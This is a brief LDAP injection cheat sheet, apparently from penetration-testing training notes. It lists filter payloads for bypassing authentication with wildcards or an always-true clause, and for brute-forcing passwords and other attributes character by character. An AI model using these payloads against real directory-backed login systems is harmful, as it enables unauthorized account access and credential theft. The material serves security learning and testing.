LDAP Injection

  • Lightweight Directory Access Protocol (LDAP) is a protocol used to access directory servers such as Active Directory (AD).

  • Web applications may use LDAP for integration with AD or other directory services for authentication or data retrieval purposes.

Authentication Bypass

  • We can use wildcard * to bypass the authentication.

# Password Bypass
(&(uid=admin)(userPassword=*))

# When you dont know username and password
# Probably login to first user account
(&(uid=*)(userPassword=*))

# If dont know full username
(&(uid=admin*)(userPassword=*)) 
  • We can bypass authentication without using wildcards using the following method:

(&(uid=<valid_username>)(|(&)(userPassword=randompassword)))

Blind Data Exfiltration

  • We can brute force the value of the attribute using following method:

# Brute force password
(&(uid=admin)(password=p*))
(&(uid=admin)(password=p@*))

# We can get value of other attributes
(&(uid=htb-stdnt)(|(description=*)(password=invalid)))

Most LDAP attributes are case-insensitive. So if we need the correct casing, for instance, for passwords, we might have to brute-force it.

Sample Automation Script

Last updated